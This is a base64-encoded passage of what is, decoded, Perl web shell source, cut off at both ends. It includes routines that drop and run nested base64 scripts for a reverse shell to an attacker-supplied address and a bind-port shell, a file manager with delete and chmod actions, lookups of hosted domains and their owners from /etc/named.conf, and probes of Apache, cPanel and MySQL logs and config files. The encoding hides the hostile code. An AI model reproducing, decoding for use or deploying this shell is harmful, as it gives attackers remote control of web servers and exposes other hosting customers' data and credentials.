iBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmknKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPg0KDQoJIFBhc3N3b3JkOiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTIiIG5hbWU9ImJpbmRwYXNzIiB2YWx1ZT0idmluYWtpZCI+PC90ZD4NCgk8dGQ+PGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iQmluZCI+PC90ZD4NCgk8L2Zvcm0+DQoJPC90cj4NCgk8dHI+DQoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBUZXN0aW5nIC4uLi4NCgk8YnI+WytdIFRyeSBjb21tYW5kOiA8cnVuPm5jICRFTlZ7J1NFUlZFUl9BRERSJ30gPHNwYW4gaWQ9ImJpIj4xNDEyPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPg0KDQoJPC90cj4NCgk8L3RhYmxlPjxicj4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCB1c2UgcGVybA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJhY2tCaW5kDQp7DQoJdXNlIFNvY2tldDsJDQoJJGJhY2twZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnU1U4Nk9sTnZZMnRsZERzTkNpUlRhR1ZzYkFrOUlDSXZZbWx1TDJKaGMyZ2lPdzBLSkVGU1IwTTlRRUZTUjFZN0RRcDFjMlVnVTI5amEyVjBPdzBLZFhObElFWnBiR1ZJWVc1a2JHVTdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnWjJWMGNISnZkRzlpZVc1aGJXVW9JblJqY0NJcEtTQnZjaUJrYVdVZ2NISnBiblFnSWxzdFhTQlZibUZpYkdVZ2RHOGdVbVZ6YjJ4MlpTQkliM04wWEc0aU93MEtZMjl1Ym1WamRDaFRUME5MUlZRc0lITnZZMnRoWkdSeVgybHVLQ1JCVWtkV1d6RmRMQ0JwYm1WMFgyRjBiMjRvSkVGU1IxWmJNRjBwS1NrZ2IzSWdaR2xsSUhCeWFXNTBJQ0piTFYwZ1ZXNWhZbXhsSUhSdklFTnZibTVsWTNRZ1NHOXpkRnh1SWpzTkNuQnlhVzUwSUNKRGIyNXVaV04wWldRaElqc05DbE5QUTB0RlZDMCtZWFYwYjJac2RYTm9LQ2s3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDSStKbE5QUTB0RlZDSXBPdzBLYjNCbGJpaFRWRVJGVWxJc0lqNG1VMDlEUzBWVUlpazdEUXB3Y21sdWRDQWlMUzA5UFNCRGIyNXVaV04wWldRZ1FtRmphMlJ2YjNJZ1BUMHRMU0FnWEc1Y2JpSTdEUXB6ZVhOMFpXMG9JblZ1YzJWMElFaEpVMVJHU1V4Rk95QjFibk5sZENCVFFWWkZTRWxUVkNBN1pXTm9ieUFuV3l0ZElGTjVjM1JsYldsdVptODZJQ2M3SUhWdVlXMWxJQzFoTzJWamFHODdaV05vYnlBbld5dGRJRlZ6WlhKcGJtWnZPaUFuT3lCcFpEdGxZMmh2TzJWamFHOGdKMXNyWFNCRWFYSmxZM1J2Y25rNklDYzdJSEIzWkR0bFkyaHZPeUJsWTJodklDZGJLMTBnVTJobGJHdzZJQ2M3SkZOb1pXeHNJaWs3RFFwamJHOXpaU0JUVDBOTFJWUTciOw0KCSRiaW5kcGVybD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pFRlNSME05UUVGU1IxWTdEUW9rY0c5eWRBazlJQ1JCVWtkV1d6QmRPdzBLSkhCeWIzUnZDVDBnWjJWMGNISnZkRzlpZVc1aGJXVW9KM1JqY0NjcE93MEtKRk5vWld4c0NUMGdJaTlpYVc0dlltRnphQ0k3RFFwemIyTnJaWFFvVTBWU1ZrVlNMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1c5eUlHUnBaU0FpYzI5amEyVjBPaVFoSWpzTkNuTmxkSE52WTJ0dmNIUW9VMFZTVmtWU0xDQlRUMHhmVTA5RFMwVlVMQ0JUVDE5U1JWVlRSVUZFUkZJc0lIQmhZMnNvSW13aUxDQXhLU2x2Y2lCa2FXVWdJbk5sZEhOdlkydHZjSFE2SUNRaElqc05DbUpwYm1Rb1UwVlNWa1ZTTENCemIyTnJZV1JrY2w5cGJpZ2tjRzl5ZEN3Z1NVNUJSRVJTWDBGT1dTa3BiM0lnWkdsbElDSmlhVzVrT2lBa0lTSTdEUXBzYVhOMFpXNG9VMFZTVmtWU0xDQlRUMDFCV0VOUFRrNHBDUWx2Y2lCa2FXVWdJbXhwYzNSbGJqb2dKQ0VpT3cwS1ptOXlLRHNnSkhCaFpHUnlJRDBnWVdOalpYQjBLRU5NU1VWT1ZDd2dVMFZTVmtWU0tUc2dZMnh2YzJVZ1EweEpSVTVVS1EwS2V3MEtDVzl3Wlc0b1UxUkVTVTRzSUNJK0prTk1TVVZPVkNJcE93MEtDVzl3Wlc0b1UxUkVUMVZVTENBaVBpWkRURWxGVGxRaUtUc05DZ2x2Y0dWdUtGTlVSRVZTVWl3Z0lqNG1RMHhKUlU1VUlpazdEUW9KYzNsemRHVnRLQ0oxYm5ObGRDQklTVk5VUmtsTVJUc2dkVzV6WlhRZ1UwRldSVWhKVTFRZ08yVmphRzhnSjFzclhTQlRlWE4wWlcxcGJtWnZPaUFuT3lCMWJtRnRaU0F0WVR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JWYzJWeWFXNW1iem9nSnpzZ2FXUTdaV05vYnp0bFkyaHZJQ2RiSzEwZ1JHbHlaV04wYjNKNU9pQW5PeUJ3ZDJRN1pXTm9ienNnWldOb2J5QW5XeXRkSUZOb1pXeHNPaUFuT3lSVGFHVnNiQ0lwT3cwS0NXTnNiM05sS0ZOVVJFbE9LVHNOQ2dsamJHOXpaU2hUVkVSUFZWUXBPdzBLQ1dOc2IzTmxLRk5VUkVWU1VpazdEUXA5RFFvPSI7DQoNCgkkQ2xpZW50QWRkciA9ICRpbnsnY2xpZW50YWRkcid9Ow0KCSRDbGllbnRQb3J0ID0gaW50KCRpbnsnY2xpZW50cG9ydCd9KTsNCglpZigkQ2xpZW50UG9ydCBlcSAwKQ0KCXsNCgkJcmV0dXJuICZCYWNrQmluZEZvcm07DQoJfWVsc2lmKCEkQ2xpZW50QWRkciBlcSAiIikNCgl7DQoJCSREYXRhPWRlY29kZV9iYXNlNjQoJGJhY2twZXJsKTsNCgkJaWYoLXcgIi90bXAvIikNCgkJew0KCQkJJEZpbGU9Ii90bXAvYmFja2Nvbm5lY3QucGwiOwkNCgkJfWVsc2UNCgkJew0KCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJhY2tjb25uZWN0LnBsIjsNCgkJfQ0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJc3lzdGVtKCJwZXJsICRGaWxlICRDbGllbnRBZGRyICRDbGllbnRQb3J0Iik7DQoJCXVubGluaygkRmlsZSk7DQoJCWV4aXQgMDsNCgl9ZWxzZQ0KCXsNCgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmluZHBlcmwpOw0KCQlpZigtdyAiL3RtcCIpDQoJCXsNCgkJCSRGaWxlPSIvdG1wL2JpbmRwb3J0LnBsIjsJDQoJCX1lbHNlDQoJCXsNCgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiaW5kcG9ydC5wbCI7DQoJCX0NCgkJb3BlbihGSUxFLCAiPiRGaWxlIik7DQoJCXByaW50IEZJTEUgJERhdGE7DQoJCWNsb3NlIEZJTEU7DQoJCXN5c3RlbSgicGVybCAkRmlsZSAkQ2xpZW50UG9ydCIpOw0KCQl1bmxpbmsoJEZpbGUpOw0KCQlleGl0IDA7DQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyAgQXJyYXkgTGlzdCBEaXJlY3RvcnkNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSbURpcigkKSANCnsNCglteSAkZGlyID0gc2hpZnQ7DQoJaWYob3BlbmRpcihESVIsJGRpcikpDQoJew0KCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkNCgkJew0KCQkJaWYoKCRmaWxlIG5lICIuIikgJiYgKCRmaWxlIG5lICIuLiIpKQ0KCQkJew0KCQkJCSRmaWxlPSAkZGlyLiRQYXRoU2VwLiRmaWxlOw0KCQkJCWlmKC1kICRmaWxlKQ0KCQkJCXsNCgkJCQkJJlJtRGlyKCRmaWxlKTsNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJdW5saW5rKCRmaWxlKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJY2xvc2VkaXIoRElSKTsNCgl9DQp9DQpzdWIgRmlsZU93bmVyKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZSAkZmlsZSkNCgl7DQoJCSgkdWlkLCRnaWQpID0gKHN0YXQoJGZpbGUpKVs0LDVdOw0KCQlpZigkV2luTlQpDQoJCXsNCgkJCXJldHVybiAiPz8/IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOw0KCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOw0KCQkJcmV0dXJuICRuYW1lLiIvIi4kZ3JvdXA7DQoJCX0NCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIFBhcmVudEZvbGRlcigkKQ0Kew0KCW15ICRwYXRoID0gc2hpZnQ7DQoJbXkgJENvbW0gPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAuLiIuJENtZFNlcC4kQ21kUHdkOw0KCWNob3AoJHBhdGggPSBgJENvbW1gKTsNCglyZXR1cm4gJHBhdGg7DQp9DQpzdWIgRmlsZVBlcm1zKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglteSAkdXIgPSAiLSI7DQoJbXkgJHV3ID0gIi0iOw0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJaWYoJFdpbk5UKQ0KCQl7DQoJCQlpZigtciAkZmlsZSl7ICR1ciA9ICJyIjsgfQ0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0NCgkJCXJldHVybiAkdXIgLiAiIC8gIiAuICR1dzsNCgkJfWVsc2UNCgkJew0KCQkJJG1vZGU9KHN0YXQoJGZpbGUpKVsyXTsNCgkJCSRyZXN1bHQgPSBzcHJpbnRmKCIlMDRvIiwgJG1vZGUgJiAwNzc3Nyk7DQoJCQlyZXR1cm4gJHJlc3VsdDsNCgkJfQ0KCX0NCglyZXR1cm4gIjAwMDAiOw0KfQ0Kc3ViIEZpbGVMYXN0TW9kaWZpZWQoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJKCRsYSkgPSAoc3RhdCgkZmlsZSkpWzldOw0KCQkoJGQsJG0sJHksJGgsJGkpID0gKGxvY2FsdGltZSgkbGEpKVszLDQsNSwyLDFdOw0KCQkkeSA9ICR5ICsgMTkwMDsNCgkJQG1vbnRoID0gcXcvMSAyIDMgNCA1IDYgNyA4IDkgMTAgMTEgMTIvOw0KCQkkbG10aW1lID0gc3ByaW50ZigiJTAyZC8lcy8lNGQgJTAyZDolMDJkIiwkZCwkbW9udGhbJG1dLCR5LCRoLCRpKTsNCgkJcmV0dXJuICRsbXRpbWU7DQoJfQ0KCXJldHVybiAiPz8/IjsNCn0NCnN1YiBGaWxlU2l6ZSgkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWYgJGZpbGUpDQoJew0KCQlyZXR1cm4gLXMgIiRmaWxlIjsNCgl9DQoJcmV0dXJuICIwIjsNCn0NCnN1YiBQYXJzZUZpbGVTaXplKCQpDQp7DQoJbXkgJHNpemUgPSBzaGlmdDsNCglpZigkc2l6ZSA8PSAxMDI0KQ0KCXsNCgkJcmV0dXJuICRzaXplLiAiIEIiOw0KCX0NCgllbHNlDQoJew0KCQlpZigkc2l6ZSA8PSAxMDI0KjEwMjQpIA0KCQl7DQoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMDJmIiwkc2l6ZSAvIDEwMjQpOw0KCQkJcmV0dXJuICRzaXplLiIgS0IiOw0KCQl9DQoJCWVsc2UgDQoJCXsNCgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7DQoJCQlyZXR1cm4gJHNpemUuIiBNQiI7DQoJCX0NCgl9DQp9DQpzdWIgdHJpbSgkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nID1+IHMvXlxzKy8vOw0KCSRzdHJpbmcgPX4gcy9ccyskLy87DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgQWRkU2xhc2hlcygkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgVHJpbVNsYXNoZXMoJCkNCnsNCglteSAkc3RyaW5nID0gc2hpZnQ7DQoJJHN0cmluZz1+IHMvXC9cLy9cLy9nOw0KCSRzdHJpbmc9fiBzL1xcXFwvXFwvZzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBMaXN0RGlyDQp7DQoJbXkgJHBhdGggPSAmVHJpbVNsYXNoZXMoJEN1cnJlbnREaXIuJFBhdGhTZXApOw0KCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgb25TdWJtaXQ9XCJFbmNvZGVyKCdkJylcIiBhY3Rpb249JyRTY3JpcHRMb2NhdGlvbic+PHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz5QYXRoOiBbICIuJkFkZExpbmtEaXIoImd1aSIpLiIgXSA8L3NwYW4+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdkJyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOw0KCWlmKC1kICRwYXRoKQ0KCXsNCgkJbXkgQGZuYW1lID0gKCk7DQoJCW15IEBkbmFtZSA9ICgpOw0KCQlpZihvcGVuZGlyKERJUiwkcGF0aCkpDQoJCXsNCgkJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQkJew0KCQkJCSRmPSRwYXRoLiRmaWxlOw0KCQkJCWlmKC1kICRmKQ0KCQkJCXsNCgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQlwdXNoKEBmbmFtZSwkZmlsZSk7DQoJCQkJfQ0KCQkJfQ0KCQkJY2xvc2VkaXIoRElSKTsNCgkJfQ0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7DQoJCUBkbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBkbmFtZTsNCgkJJHJlc3VsdCAuPSAiPGRpdj48dGFibGUgd2lkdGg9JzkwJScgY2xhc3M9J2xpc3RkaXInPg0KCQk8dHIgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6ICMzZTNlM2UnPjx0aD5GaWxlIE5hbWU8L3RoPg0KCQk8dGggd2lkdGg9JzEwMCc+RmlsZSBTaXplPC90aD4NCgkJPHRoIHdpZHRoPScxNTAnPk93bmVyPC90aD4NCgkJPHRoIHdpZHRoPScxMDAnPlBlcm1pc3Npb248L3RoPg0KCQk8dGggd2lkdGg9JzE1MCc+TGFzdCBNb2RpZmllZDwvdGg+DQoJCTx0aCB3aWR0aD0nMjMwJz5BY3Rpb248L3RoPjwvdHI+IjsNCgkJbXkgJHN0eWxlPSJub3RsaW5lIjsNCgkJbXkgJGk9MDsNCgkJZm9yZWFjaCBteSAkZCAoQGRuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGQgPSAmdHJpbSgkZCk7DQoJCQkkZGlybmFtZT0kZDsNCgkJCWlmKCRkIGVxICIuLiIpIA0KCQkJew0KCQkJCSRkID0gJlBhcmVudEZvbGRlcigkcGF0aCk7DQoJCQl9DQoJCQllbHNpZigkZCBlcSAiLiIpIA0KCQkJew0KCQkJCW5leHQ7DQoJCQl9DQoJCQllbHNlIA0KCQkJew0KCQkJCSRkID0gJHBhdGguJGQ7DQoJCQl9DQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+PHRkIGlkPSdGaWxlXyRpJyBjbGFzcz0nZGlyJz48YSAgaHJlZj0nP2E9Z3VpJmQ9Ii4mRW5jb2RlRGlyKCRkKS4iJz5bICIuJGRpcm5hbWUuIiBdPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZU93bmVyKCRkKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGQpLiInLCciLiRkaXJuYW1lLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgiLiRpLiIsJyIuJGRpcm5hbWUuIicpXCIgPiIuJkZpbGVQZXJtcygkZCkuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD48YSBvbmNsaWNrPVwicmVuYW1lX2Zvcm0oJGksJyRkaXJuYW1lJywnIi4mQWRkU2xhc2hlcygmQWRkU2xhc2hlcygkZCkpLiInKTsgcmV0dXJuIGZhbHNlOyBcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9Ii4mRW5jb2RlRGlyKCRwYXRoKS4iJnJlbW92ZT0kZGlybmFtZSc+UmVtb3ZlPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsNCgkJCSRpKys7DQoJCX0NCgkJZm9yZWFjaCBteSAkZiAoQGZuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGU9JGY7DQoJCQkkZiA9ICRwYXRoLiRmOw0KCQkJbXkgJGFjdGlvbiA9IGVuY29kZV9iYXNlNjQoImVkaXQgIi4kZmlsZSk7DQoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7DQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+PHRkIGlkPSdGaWxlXyRpJyBjbGFzcz0nZmlsZSc+PGEgaHJlZj0nP2E9Y29tbWFuZCZkPSIuJkVuY29kZURpcigkcGF0aCkuIiZjPSIuJGFjdGlvbi4iJz4iLiRmaWxlLiI8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlT3duZXIoJGYpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZikuIicsJyIuJGZpbGUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCRpLCckZmlsZScpXCIgPiIuJkZpbGVQZXJtcygkZikuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD48YSBvbmNsaWNrPVwicmVuYW1lX2Zvcm0oJGksJyRmaWxlJywnZicpOyByZXR1cm4gZmFsc2U7XCI+UmVuYW1lPC9hPiB8IDxhIGhyZWY9Jz9hPWRvd25sb2FkJm89Z28mZj0iLiRmLiInPkRvd25sb2FkPC9hPiB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGZpbGU6ICRmaWxlID8nKSkgeyByZXR1cm4gZmFsc2U7fVwiIGhyZWY9Jz9hPWd1aSZkPSIuJkVuY29kZURpcigkcGF0aCkuIiZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8L3RyPiI7DQoJCQkkaSsrOw0KCQl9DQoJCSRyZXN1bHQgLj0gIjwvdGFibGU+PC9kaXY+IjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRyeSB0byBWaWV3IExpc3QgVXNlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFZpZXdEb21haW5Vc2VyDQp7DQoJb3BlbiAoZDBtYWlucywgJy9ldGMvbmFtZWQuY29uZicpIG9yICRlcnI9MTsNCglteSBAY256cyA9IDxkMG1haW5zPjsNCgljbG9zZSBkMG1haW5zOw0KCW15ICRzdHlsZT0ibGluZSI7DQoJbXkgJHJlc3VsdD0iPGgzPjxmb250IHN0eWxlPSdmb250OiAxNXB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Eb21haW4gKyBVc2VyPC9mb250PjwvaDM+IjsNCglpZiAoJGVycikNCgl7DQoJCSRyZXN1bHQgLj0gICgnPHA+QzB1bGRuXCd0IEJ5cGFzcyBpdCAsIFNvcnJ5PC9wPicpOw0KCQlyZXR1cm4gJHJlc3VsdDsNCgl9ZWxzZQ0KCXsNCgkJJHJlc3VsdCAuPSAnPHRhYmxlIGlkPSJkb21haW4iPjx0cj48dGg+ZDBtYWluczwvdGg+IDx0aD5Vc2VyPC90aD48L3RyPic7DQoJfQ0KCWZvcmVhY2ggbXkgJG9uZSAoQGNuenMpDQoJew0KCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQ0KCQl7CQ0KCQkJJHN0eWxlPSAoJHN0eWxlIGVxICJsaW5lIikgPyAibm90bGluZSI6ICJsaW5lIjsNCgkJCSRmaWxlbmFtZT0gdHJpbSgiL2V0Yy92YWxpYXNlcy8iLiQxKTsNCgkJCSRvd25lciA9IGdldHB3dWlkKChzdGF0KCRmaWxlbmFtZSkpWzRdKTsNCgkJCSRyZXN1bHQgLj0gJzx0ciBzdHlsZT0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPjxhIGhyZWY9Imh0dHA6Ly8nLiQxLiciIHRhcmdldD0iX2JsYW5rIj4nLiQxLic8L2E+PC90ZD48dGQ+ICcuJG93bmVyLic8L3RkPjwvdHI+JzsNCgkJfQ0KCX0NCgkkcmVzdWx0IC49ICc8L3RhYmxlPic7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFZpZXcgTG9nDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVmlld0xvZw0Kew0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglpZigkV2luTlQpDQoJew0KCQlyZXR1cm4gIjxoMj48Zm9udCBzdHlsZT0nZm9udDogMjBwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+RG9uJ3QgcnVuIG9uIFdpbmRvd3M8L2ZvbnQ+PC9oMj4iOw0KCX0NCglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOw0KCW15IEBwYXRobG9nPSgJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywNCgkJCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2FjY2Vzc19sb2cnLA0KCQkJJy91c3IvbG9jYWwvYXBhY2hlMi9jb25mL2h0dHBkLmNvbmYnLA0KCQkJJy92YXIvbG9nL2h0dHBkL2Vycm9yX2xvZycsDQoJCQknL3Zhci9sb2cvaHR0cGQvYWNjZXNzX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9lcnJvcl9sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvYWNjZXNzX2xvZycsDQoJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9zdXBocF9sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3Mvc3RhdHNfbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2FjY2Vzc19sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvZXJyb3JfbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2xpY2Vuc2VfbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2xvZ2luX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9zdGF0c19sb2cnLA0KCQkJJy92YXIvY3BhbmVsL2NwYW5lbC5jb25maWcnLA0KCQkJJy91c3IvbG9jYWwvcGhwL2xpYi9waHAuaW5pJywNCgkJCScvdXNyL2xvY2FsL3BocDUvbGliL3BocC5pbmknLA0KCQkJJy92YXIvbG9nL215c3FsL215c3FsLWJpbi5sb2cnLA0KCQkJJy92YXIvbG9nL215c3FsLmxvZycsDQoJCQknL3Zhci9sb2cvbXlzcWxkZXJyb3IubG9nJywNCgkJCScvdmFyL2xvZy9teXNxbC9teXNxbC5sb2cnLA0KCQkJJy92YXIvbG9nL215c3FsL215c3FsLXNsb3cubG9nJywNCgkJCScvdmFyL215c3FsLmxvZycsDQoJCQknL3Zhci9saWIvbXlzcWwvbXkuY25mJywNCgkJCScvZXRjL215c3FsL215LmNuZicsDQoJCQknL2V0Yy9teS5jbmYnLA0KCQkJKTsNCglteSAkaT0wOw0KCW15ICRwZXJtczsNCglteSAkc2w7DQoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykNCgl7DQoJCWlmKC1yICRsb2cpDQoJCXsNCgkJCSRwZXJtcz0iT0siOw0KCQl9ZWxzZQ0KCQl7DQoJCQkkcGVybXM9Ijxmb250IHN0eWxlPSdjb2xvcjogcmVkOyc+Q2FuY2VsPGZvbnQ+IjsNCgkJfQ0KCQkkcmVzdWx0IC49PDxFTkQ7DQoJCTx0cj4NCg0KCQkJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgb25TdWJtaXQ9IkVuY29kZXIoJ2xvZyRpJykiPg0KCQkJPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBpZD0ibG9nJGkiIG5hbWU9ImMiIHZhbHVlPSJ0